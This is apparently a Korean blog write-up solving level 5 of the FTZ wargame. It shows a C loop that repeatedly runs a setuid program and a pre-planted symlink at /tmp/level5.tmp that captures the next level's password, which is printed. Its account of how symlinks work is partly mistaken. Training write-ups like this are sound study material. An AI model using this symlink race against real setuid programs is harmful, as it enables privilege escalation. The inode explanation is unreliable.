티스토리 뷰

728x90
반응형

 

 

 

[level5@ftz level5]$ cat hint
/usr/bin/level5 프로그램은 /tmp 디렉토리에
level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

 

level5의 힌트는 위와 같습니다.

 

우선 /usr/bin/ 디렉토리에 level5 라는 프로그램이 있는 지 확인해보았습니다.

 

[level5@ftz tmp]$ ls -al /usr/bin/ | grep level5
-rws--x---    1 level6   level5      12236 Sep 10  2011 level5

 

level6 소유의 파일이며 setuid 가 걸려있는 파일임을 확인할 수 있었습니다.

해당 프로그램은 level5.tmp 라는 파일을 /tmp 디렉토리에 생성한다고 합니다.

 

그래서 한번 /tmp/ 디렉토리에 level5.tmp 라는 파일이 있는 지 확인해보았습니다.

 

[level5@ftz tmp]$ ls -al /tmp/
total 8
drwxrwxrwt    2 root     root         4096 Oct 28 00:44 .
drwxr-xr-x   20 root     root         4096 Oct 27 23:05 ..
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock

 

그런데 왠걸 파일이 없습니다. 해서 프로그램을 여러번 실행해보았지만 파일은 생성된 것처럼 보이지 않았습니다.

 

가만보니 hint에는 level5.tmp 라는 임시파일을 생성한다고 되어 있습니다. 그래서 문득 아래와 같은 함수가 생각이 났습니다.

 

#include <stdio.h>

FILE *tmpfile();

 

tmpfile() 함수로 만들어진 임시파일들은 프로세스가 종료됨과 동시에 삭제되는 특징을 가집니다. 즉, 저희가 /usr/bin/level5 라는 프로그램을 실행시킴과 동시에 level5.tmp 라는 파일이 생성되었다가, 프로세스가 종료됨에 따라 임시파일이 삭제된 것입니다.

 

이 시점에서 password는 level5.tmp 파일 내용에 있다고 가정할 수 있습니다. 하지만 생성됨과 동시에 삭제되어서는 이 파일을 손쉽게 읽을 수는 없을 듯합니다.

 

그럼 만약에 이렇게 해보면 어떨까요? 바로 /usr/bin/level5 프로그램을 무한히 실행시켜서 level5.tmp 파일이 생겨났을 바로 그 순간에 파일을 읽어오는 것입니다.

 

그래서 한번 시도해보았습니다. 우선 /usr/bin/level5 프로그램을 무한히 실행시키기 위해서 아래와 같은 프로그램을 만들었습니다.

// fileanme : a.c
#include <stdio.h>

int main(void){
        while(1){
                system("/usr/bin/level5 &");
        }
}

 

/usr/bin/level5 & 명령을 system() 함수로 실행시킵니다. (/usr/bin/level5 프로그램을 백그라운드에서 실행시키는 것과 같은 의미입니다.) 그리고 이것을 while(1) 문으로 무한 반복시킵니다.

 

그런 다음에 그냥 얻어 걸려라~ 하는 식으로 cat /tmp/level5.tmp 명령을 손수 여러차례 실행시켜보았습니다.

 

[level5@ftz tmp]$ ./a &
[1] 7418
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory
... 중략 ...
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: Permission denied
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory
[level5@ftz tmp]$ cat /tmp/level5.tmp
cat: /tmp/level5.tmp: No such file or directory

 

그러다 왠걸 No such file or directory 만 뜨다가 중간에 Permission denied 가 뜬 것을 볼 수 있습니다. 그 말뜻은 저희가 방금 전 의도한 대로 파일이 생성된 시점에 마침 cat 명령어를 실행했을 때까지만 해도 파일이 있었다는 말이 됩니다.

 

그럼 우리는 /usr/bin/level5 프로그램이 만들어낸 /tmp/level5.tmp 파일의 소유권이 level6라는 것을 유추할 수 있습니다. 해서 level5 인 지금 해당 파일에 읽기 권한이 없어서 읽을 수 없는 것입니다.

 

아예 그냥 유추만 하기 짜증나면 아래와 같이 직접 ls -al 을 얻어걸릴 때까지 해보면 됩니다.

 

[level5@ftz tmp]$ ./a &
[1] 5628
[level5@ftz tmp]$ ll /tmp/
total 0
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock
... 중략 ...
[level5@ftz tmp]$ ll /tmp/
total 0
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock
[level5@ftz tmp]$ ll /tmp/
total 4
-rw-------    1 level6   level5         31 Oct 28 01:08 level5.tmp
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock
[level5@ftz tmp]$ ll /tmp/
total 0
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock

 

그러면 정확히 어떤 권한이 설정되었는 지 알 수 있겠습니다. level6 의 소유이고 level5는 group 권한을 가지고 있습니다. 근데 소유자만 읽고 쓸 수 있다고 합니다.

 

그럼 과연 권한을 무시하고서 이 파일을 읽는 방법은 없을까요? 네 권한을 무시할 수 있는 방법은 없다고 볼 수 있겠습니다. 리눅스 시스템이 헛으로 권한이란 제도를 만들지는 않았겠지요.

 

다만, 이 프로그램에는 치명적인 문제점이 있습니다. 바로 파일을 생성하고 지우는 것입니다. 아마 이 문제 출제의 의도가 이런 것이지 않을까 싶네요.

 

우선 풀이를 이어가기 전에 리눅스 명령어에 대해 알고 넘어가야 할 필요가 있습니다. 바로 링크입니다.

링크에는 크게 하드(Hard)링크와 소프트(Soft)/심볼릭(Symbolic)링크가 있습니다. 기본적인 링크의 개념은 리눅스 매뉴얼을 참고하시면 되겠습니다. 참고로 아래 매뉴얼들은 ln 명령에 대한 매뉴얼이 아니고 unistd.h 헤더에 속한 link와 symlink에 대한 매뉴얼입니다만, 거의 동일하므로 참고가 될 것입니다.

 

하드링크 참고 : https://linux.die.net/man/2/link

 

link(2): make new name for file - Linux man page

link(2) - Linux man page Name link - make a new name for a file Synopsis #include int link(const char *oldpath, const char *newpath); Description link() creates a new link (also known as a hard link) to an existing file. If newpath exists it will not be ov

linux.die.net

소프트/심볼릭링크 참고 : https://linux.die.net/man/2/symlink

 

symlink(2): make new name for file - Linux man page

symlink(2) - Linux man page Name symlink - make a new name for a file Synopsis #include int symlink(const char *oldpath, const char *newpath); Feature Test Macro Requirements for glibc (see feature_test_macros(7)): symlink(): _BSD_SOURCE || _XOPEN_SOURCE >

linux.die.net

 

여기서 중요한 차이는 소프트 링크의 경우에는 기존의 파일에 대한 inode 에서 새로운 inode를 생성한다는 것이고, 하드 링크의 경우에는 기존의 inode를 공유하다는 것에 있습니다.

 

유닉스 링크 개념이 이해가 어렵다면 실습으로 이해해보시면 되겠습니다.

 

우선 /tmp 디렉토리에 level5.tmp 파일이 생성될 것을 우리는 알고 있는 상태입니다. 그렇기 때문에 사전에 소프트 링크를 걸어두는 것입니다. 우선 소프트 링크를 걸기 위해서는 대상 파일이 필요하기 때문에 임시로 파일을 만들어줍니다.

 

[level5@ftz tmp]$ touch domdomi
[level5@ftz tmp]$ ln -s domdomi level5.tmp
[level5@ftz tmp]$ ll
total 0
-rw-rw-r--    1 level5   level5          0 Oct 28 01:47 domdomi
lrwxrwxrwx    1 level5   level5          7 Oct 28 01:47 level5.tmp -> domdomi
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock

 

보시다시피 domdomi 라는 파일은 파일 크기가 0 바이트로써 내용이 빈 걸 확인할 수 있습니다. 그리고 level5.tmp -> domdomi 라는 소프트링크를 만들어두었습니다.

 

여기서 소프트링크의 경우에는 실존하지 않는 파일에도 링크를 걸 수 있는 지 몰랐다면 위에 참고 사이트로 올려둔 symlink 매뉴얼을 읽어보시고 오시면 되겠습니다. 간단히 한줄로 요약하자면 아래와 같습니다.

 

A symbolic link (also known as a soft link) may point to an existing file or to a nonexistent one; the latter case is known as a dangling link.

 

존재하지 않은 파일에도 걸 수 있는 것이 바로 소프트(심볼릭)링크입니다. 이렇게 위와 같이 해두었다면 이제 /usr/bin/level5 프로그램을 실행시켜서 level5.tmp 파일을 생성시켜보겠습니다. 그런 다음에 domdomi 파일의 파일 크기를 살펴봐주세요.

 

[level5@ftz tmp]$ /usr/bin/level5
[level5@ftz tmp]$ ll
total 4
-rw-rw-r--    1 level5   level5         31 Oct 28 01:48 domdomi
lrwxrwxrwx    1 level5   level5          7 Oct 28 01:47 level5.tmp -> domdomi
srwxrwxrwx    1 mysql    mysql           0 Oct 27 23:05 mysql.sock

 

위와 같이 domdomi 라는 파일의 파일크기가 0에서 31로 증가한 것을 볼 수 있습니다. level5.tmp 임시 파일을 분명 잠깐 생성되었다가 삭제가 정상적으로 되었을 겁니다. 하지만 아까 설명했다시피 하드링크와 심볼릭링크의 가장 큰 차이는 inode를 별개로 생성한다는 것이었습니다. 그렇기 때문에 기존의 level5.tmp 파일의 내용은 파일이 생성된 시점에 심볼릭 링크에 연결되고, 별도의 inode로 연결된 domdomi라는 파일에 내용이 복사됩니다. 그런 다음에 기존의 inode에 연결되어 있던 level5.tmp 파일이 삭제되었을 뿐입니다.

 

쉽게 말해 그냥 level5.tmp 파일의 내용이 심볼릭 링크에 연결된 파일인 domdomi라는 파일에 복사가 되었다 라고 볼 수 있겠습니다.

 

이제 domdomi 라는 파일 내용을 출력시켜보면 level6 로 가는 해답을 얻을 수 있습니다.

 

[level5@ftz tmp]$ cat domdomi
next password : what the hell

 

- 끝 -

728x90
반응형
댓글